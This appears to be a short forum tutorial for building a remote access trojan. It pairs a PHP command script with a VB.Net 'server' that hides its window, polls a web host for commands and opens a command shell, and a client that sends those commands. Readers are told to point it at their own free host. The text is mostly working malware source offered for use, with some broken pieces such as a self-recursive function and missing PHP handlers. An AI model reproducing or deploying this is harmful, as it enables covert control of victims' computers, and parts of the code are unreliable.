1. Open notepad and paste this in.
$action = $_GET['action'];
$data = $_GET['data'];
//This will delete log when program reads command
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", 'a');
fclose($new);
}
Then save it as index.php.
VB.Net Server Writing
1.Change quapacity of server form to 0%
2.Add this in Form_Load
'This will hide form
Me.Hide
Me.Visible = False
3. Now add this
'This function will check commands
Public Function check()
check()
End Function
4. Add this also in Form_Load:
'This will "Thread" function "check"
Dim multithread = New System.Threading.Thread(AddressOf check)
multithread.Start()
5. Now add this in function "check" :
'This will download data from server
'Make sure you add Imports System.Net
Dim web As New WebClient
Dim data = web.DownloadString("http://127.0.0.1/rat/index.php?action=read")
If data.ToString = "cmd" Then
Shell("cmd", AppWinStyle.NormalFocus)
'This will delete log
web.DownloadString("http://127.0.0.1/rat/index.php?action=delete")
End If
VB.Net Client Writing
1.Add this :
'This will set data to server
'Make sure you add Imports System.Net
[/code]Dim web As New WebClient[/code]
2.Now add button and this in it :
web.DownloadString("http://127.0.0.1/rat/index.php?action=write&data=cmd")
Please note: Remember to change the website URL in your code to your website. You can use a free host
{ 0 comments... Skip to Comments }
Please comment here